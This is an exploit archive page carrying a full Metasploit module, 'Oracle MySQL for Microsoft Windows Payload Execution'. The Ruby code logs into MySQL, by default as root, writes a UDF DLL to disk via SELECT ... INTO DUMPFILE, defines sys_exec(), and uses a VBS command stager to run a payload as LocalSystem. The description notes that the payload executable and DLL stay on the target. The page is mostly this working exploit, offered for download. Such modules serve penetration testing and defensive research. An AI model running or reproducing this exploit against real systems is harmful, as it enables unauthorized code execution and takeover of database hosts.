what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle MySQL for Microsoft Windows Payload Execution

Oracle MySQL for Microsoft Windows Payload Execution
Posted Mar 9, 2011
Authored by Bernardo Damele, todb | Site metasploit.com

This Metasploit module creates and enables a custom UDF (user defined function) on the target host via the SELECT ... into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This Metasploit module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions.

tags | exploit
systems | windows
SHA-256 | f8fac6ece5e7759e092fdf7d42b1c758a65c1c18f72811b790103380f29a9be0

Oracle MySQL for Microsoft Windows Payload Execution

Change Mirror Download
##
# $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
'Description' => %q{
This module creates and enables a custom UDF (user defined function) on the
target host via the SELECT ... into DUMPFILE method of binary injection. On
default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
permissions not enforced, and the MySQL service runs as LocalSystem.

NOTE: This module will leave a payload executable on the target system when the
attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
and sys_exec() functions.
},
'Author' =>
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
'todb' # this Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11899 $',
'References' =>
[
# Bernardo's work with cmd exec via udf
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ],
# Advice from 2005 on securing MySQL on Windows, kind of helpful.
[ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ])
])
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def login_and_get_sys_exec
mysql_login(username,password,'mysql')
@mysql_arch = mysql_get_arch
@mysql_sys_exec_available = mysql_check_for_sys_exec()
if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD']
mysql_add_sys_exec
@mysql_sys_exec_available = mysql_check_for_sys_exec()
else
print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."
end
end

def execute_command(cmd, opts)
mysql_sys_exec(cmd, datastore['VERBOSE'])
end

def exploit
login_and_get_sys_exec()

if not @mysql_handle
print_status("Invalid MySQL credentials")
return
elsif not [:win32,:win64].include?(@mysql_arch)
print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")
return
else
if @mysql_sys_exec_available
execute_cmdstager({:linemax => 1500, :nodelete => true})
handler
else
print_status("MySQL function sys_exec() not available")
return
end
end
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close